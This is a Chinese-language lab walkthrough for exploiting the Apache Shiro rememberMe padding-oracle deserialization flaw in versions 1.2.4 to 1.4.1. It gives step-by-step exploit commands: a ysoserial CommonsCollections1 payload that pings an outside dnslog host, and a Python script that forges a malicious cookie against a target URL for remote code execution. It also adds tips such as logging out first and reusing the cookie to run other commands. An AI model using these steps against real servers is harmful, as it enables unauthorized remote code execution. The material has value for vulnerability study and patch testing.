0x01 背景
shiro是一个java场景使用较多组件,最近曝出因使用了 AES-128-CBC 模式对cookie进行加密,so可
以padding oracle攻击构造数据进行反序列化攻击
影响版本: 1.2.4<shiro<=1.4.1
0x02 环境
靶机:windows10 + tomcat + shiro1.4.1
shiro环境:https://pan.baidu.com/s/1E72vhls9oOI-ny4luDTi3A 提取码: uakn
攻击机:windows10 + burpsuite + python
Exp:https://xxx.com
0x03 复现
-
1.靶机shiro环境正常显示
-
2.登录
-
3.生成payload.class
java -jar ysoserial.jar CommonsCollections1 "ping dnslog.com" > payload.class
-
4.取cookie的rememberMe值
-
5.生成恶意rememberMe值
需输入3个参数,目标url,正常rememberMe值,payload.class,我跑了应该是20分左右,具体没看
>>python2 shiro_exp.py http://172.20.10.3:8080/shiro-1.4.1/home.jsp rememberMe值 payload.class
- 6.使用生成的恶意rememberMe值进行访问
PS:此处访问需要先退出刚才的登录,在未登录情况下使用恶意remeberMe进行访问,由此才可造成RCE
同时也可理解为,获得一次任意登录后得remeberMe值后,以后再利用则无需获取新的值,想要执行其他命令,继续使用初始的remeberMe值进行遍历。
0x04 坑点
- 1.耗费时间
- 2.需要注销后进行注入恶意rememberMe访问,差点自闭,毕竟无参考且没人提过,或者我姿势不对??
- 3.友情提示不要用linux虚拟机当做靶机进行遍历,虚拟机会内存红色告急,可以先快照试试,不过不一定管事 (默默超心痛我的kali机,-.-!)